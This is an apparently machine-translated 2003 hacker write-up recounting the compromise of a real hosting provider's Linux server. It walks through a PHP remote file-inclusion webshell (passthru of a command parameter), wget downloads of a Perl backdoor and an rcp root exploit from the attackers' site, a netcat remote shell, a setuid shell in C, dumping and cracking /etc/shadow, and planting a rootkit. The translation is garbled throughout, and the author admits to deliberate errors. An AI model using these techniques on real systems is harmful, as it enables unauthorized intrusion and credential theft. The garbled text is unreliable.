Root on the hosting provider

Intro.
I decided to describe just this hack, because it happened quite recently (and at this point - on January 23, 2003 - the server is still in the hands of DHG, so to speak, so to speak) also a long time ago I was asked to describe some interesting hacking.
I do not want this story to be a tool for other people's atrocities, so we deliberately allow some errors / inaccuracies (which, however, any advanced user will notice). Well, also chew elementary things, such as "Linux commands also in which place to look, how to compile a solid", we will not. So, let's go.

Round # 1: remote
In general, the original goal was the Mexican Linux portal www. ***. Com, which was once hosted by this provider.
First of all, it was necessary to find out the axis on which this portal stands. Although, the stump is clear, that the site about Linux can not hang on Windows in any way. The http was: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", the ftp-banner read:
Managedhosting FTP server (Version 6.5 / OpenBSD, linux port 0.3.2) ready.
Scan the ports, cgi-bug'i and any such nonsense, we did not become - more precisely, decided to postpone for later. Well, I also did not want to cover the IP. So, in the ftp-banner the expression "hosting" flashed! Scoring in ripnet, we decided to address directly to ip'u, which had www. ***. Com. He took me to the site "managedhosting.dialtoneinternet.com.mx", which, apparently, was his host. Later, a short manual bruteforce'a was calculated the real site hosting: dialtoneinternet.com.mx (www.dialtone.com).
On this we decided to stop for the time being also to return to the broken site. He was on the PHP-engine "phpWebSite" of unknown version. This regular php-nuke clone did not differ in any way with a special emphasis on safety. All versions of PWS up to 0.8.2 (even with the Stable mark) had a vulnerability class 'Php source injection'. Those to whom nothing this does not say anything, see r4ShRaY's article on this vulnerability. The rest, read on. So, here is a piece of the modsecurity.php file:

<? Php
Global $ inc_prefix;
If (! $ Inc_prefix) {
...
}
...
Include_once ($ inc_prefix. "Htmlheader.php");
?>

IMHO, here everything should all exist clearly. By running this script in a similar way:
Http: //www.***.com/modsecurity.php? Inc_prefix = http: //www.dhgroup.org
The file htmlheader.php, which is located on our site, will be executed with the_explained_paces. The only thing that bothered me was that the attacked site is patched, or a newer version (after all, it's not some kind of 'Vasya's home page', but a portal for kewl-Linux-userz).
In general, we created a file htmlheader.php on our site that's the following content:

<? Passthru ("$ cmd")?>

Then went to the address:
Modsecurity.php? Inc_prefix = http: //www.dhgroup.org&cmd=ls
On what we received the catalog listing www. # Note. Then all the commands will be scribbled without "...? Inc_prefix = http: // ..."!

Round # 2: local.
> Echo hi> kewl.txt; Cat kewl.txt
On these two commands, the browser responded with an empty snow-white screen. This indicated that I did not have the right to write to the www catalog. That is, it's too early to express about the deface. Well, before taking any further action, it was necessary to collect more information about the system. The main thing we did was get the httpd.conf file:
> Cat /etc/httpd/conf/httpd.conf
From there, we tore out the version of the newsreader (by the way, the http-header 'Server' was silent about the presence of FrontPage'a) also the route to the www-directories of the sites: dialtoneinternet.com.mx (broken hosting provider), stormarketing.com, altavistablinds.com, Parigitown.com, well, also to several large resources:
# -FrontPage- version = 4.0
##
## httpd.conf - Apache HTTP server configuration file
##
...
<VirtualHost 66.33.62.88>
<Directory / home / admin / www / serversecure>
Options All
AllowOverride All
</ Directory>
ServerName dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog logs / error_log
TransferLog logs / transfer_log
Group nobody
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ VirtualHost>
...
Of course, in order to deface them, there are not enough rights, but they will be enough to view the phronical service.pwd (if any) of these sites, with all the ensuing consequences;) This opportunity we left on that adventure, if I did In any way it will not be possible to raise the privileges.
Next, for interest, we introduced:
> Netstat -a
What I got (# - my tags): 
 Active Internet connections (servers and installed) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 1 66.33.62. *: 2114 by.ru:www LAST_ACK # (1) tcp 0 0 66.33.62. *: Www 62.141.75.226:3116 ESTABLISHED tcp 0 0 *: www *: * LISTEN tcp 0 0 *: imap2 *: * LISTEN tcp 0 0 *: pop3 *: * LISTEN tcp 0 0 *: ftp *: * LISTEN tcp 0 0 * : 81 *: * LISTEN tcp 0 0 *: https *: * LISTEN # (2) tcp 0 0 managedhosting.d: domain *: * LISTEN tcp 0 0 managedhosting2.:domain *: * LISTEN tcp 0 0 spacebattles.net: Domain *: * LISTEN tcp 0 0 66.33.62. *: Domain *: * LISTEN tcp 0 0 localhost.locald: domain *: * LISTEN tcp 0 0 *: smtp *: * LISTEN tcp 0 0 *: mysql *: * LISTEN tcp 0 0 *: casp3001 *: * LISTEN tcp 0 0 *: casp5104 *: * LISTEN tcp 0 0 *: casp3000 *: * LISTEN tcp 0 0 *: casp5105 *: * LISTEN tcp 0 0 *: 1581 *: * LISTEN tcp 0 0 *: 1024 *: * LISTEN tcp 0 0 *: ssh *: * LISTEN # (3) udp 0 0 *: 4320 *: * udp 0 0 managedhosting.d : Domain *: * udp 0 0 managedhosting2.:domain *: * udp 0 0 spacebattles.net: domain *: * udp 0 0 66.33.62. *: Domain *: * udp 0 0 localhost.locald: domain *: * Raw 0 0 *: udp *: * 7 raw 0 0 *: tcp *: * 7 raw 0 0 *: icmp *: * 7 raw 0 0 *: tcp *: * 7 Active UNIX domain sockets (servers and established) RefCnt Flags Type State I-Node Path unix 0 [ACC] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket unix 0 [ACC] STREAM LISTENING 2087 /tmp/mysql.sock unix 4 [] DGRAM 290 / dev / log Unix 0 [ACC] STREAM LISTENING 549144 / var / run / ndc unix 0 [] STREAM 565939 unix 0 [] DGRAM 555692 unix 0 [] DGRAM 549142 unix 0 [] DGRAM 3193 unix 0 [] DGRAM 303
(1) is we =)
(2) - the presence of ssl usually expresses the exchange of private information with the server (cc, for example). Although, for hosting it is in the order of things.
(3) - here he is! He will come in handy later.
I also did not need to scan ports :)
Next, it was necessary to start some specific actions, or rather, to know at least almost the version of the cap plus, proceeding from this, already to dance further. So, for those who do not know, some (if not all) Linux distributions leave the file "* -release" (where * is the name of the distribution: mandrake-release, cobalt-release ...) in the / etc / Also admins have no way to eliminate it.
> Cat / etc / redhat-release:
Red Hat Linux release 6.1 (Cartman)
Obaaaaa, I must say, this we did not expect :) Everything else was blah blah was a matter of technology .. To achieve the long-awaited rue, we decided to use RedHat's vulnerability in rcp.

Red Hat 6.2: rcp possible root hole
In fact, the vulnerability was found in cap 6.2. Pro 6.1 in the post from Andrew Griffiths and Tlabs did not say a word. Ponadeyavshis luck, we introduced:
> Ls -alF `which rcp`
-rwsr-xr-x 1 root root 14868 Jul 30 1999 / usr / bin / rcp *
Op! The suid rcp owns the room to be! It's already good :) I poured myself a "rcpsploit.pl" from tlabs plus, having studied the source, stopped. I, perhaps, will explain how this solid works, perhaps it will help you to understand the essence of the vulnerability of the problem that has arisen.
So, it creates 2 files:
/tmp/shell.c---------------------

#include
#include
Int main ()
{
Setuid (0);
Setgid (0);
Execl ("/ bin / sh", "sh", 0);
Return 0;
}


Hey ------------------------------
Sploit written by tlabs, thanks to Andrew Griffiths for the bug report

Then, through the suid rcp, the shell of the shell.c is also bounded by the chmod, which acts as such a bluff suid. That's all! Running the compiled shell also gets a shell with uid = 0, gid = 0. But what is the use of this shell for us, if we execute commands through a web server? : - /
To make this solid work work was allowed only on the "normal" shell.
Well, you need a shell? He will! In my warez-archive long ago a small pearl trojan was gathering dust, which we also decided to use:
> Wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> Chmod 755 /.tmp/tmp.pl
> Perl /tmp/.tmp.pl
Further on your computer:
> Nc ***. Com 51015
Having connected:
> Cd / tmp
> Wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> Chmod 755 rcpsploit.pl; Perl rcpsploit.pl
Ok, too easy, we'll just launch a shell, lets hope shit went well innit :)
> Id
Uid = 0 (root) gid = 0 (root) groups = 0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (wheel)
That's also all :) Well also the last:
> Cat / etc / shadow
Root: ###: 11961: 0: 99999: 7: -1: -1: 134549964
Bin: *: 10925: 0: 99999: 7 :::
Daemon: *: 10925: 0: 99999: 7 :::
Adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... etc ...
JTR counted 977 passwords%) To speed up the bust, we introduced:
John -i: all -u: root shadow
Somewhere 8 hours and ... the long-awaited moment:




Then I filled in lrk, a few datapipe's also bnc ... although this is a completely different story ....

What was used during the hacking:
Netscape v.xz
SecureCRT 3.1
NetCat
John The Ripper
Backhole.pl
Rcpsploit.pl
Brain
PacketStormSecurity

Conclusions / remarks / comments:
1. If a particular server is important as a Hosting Provider or a Linux portal, this does not mean that it is well protected.
2. In the process of hacking, you should not specifically declare your own type (this will later become an article).
3. With the hacking almost never used, the so-called "hacker" software.
4. RH6. * - do not eat gud :)

PS IMHO, the reader can have the impression that I was just lucky also the total hack took a couple of minutes .. This is not so. There were moments at which time my hands just dropped, at which time I wanted to fight my head against the wall.

Author: D4rkGr3y


The material is published with the permission of DHGROUP (http://www.dhgroup.org)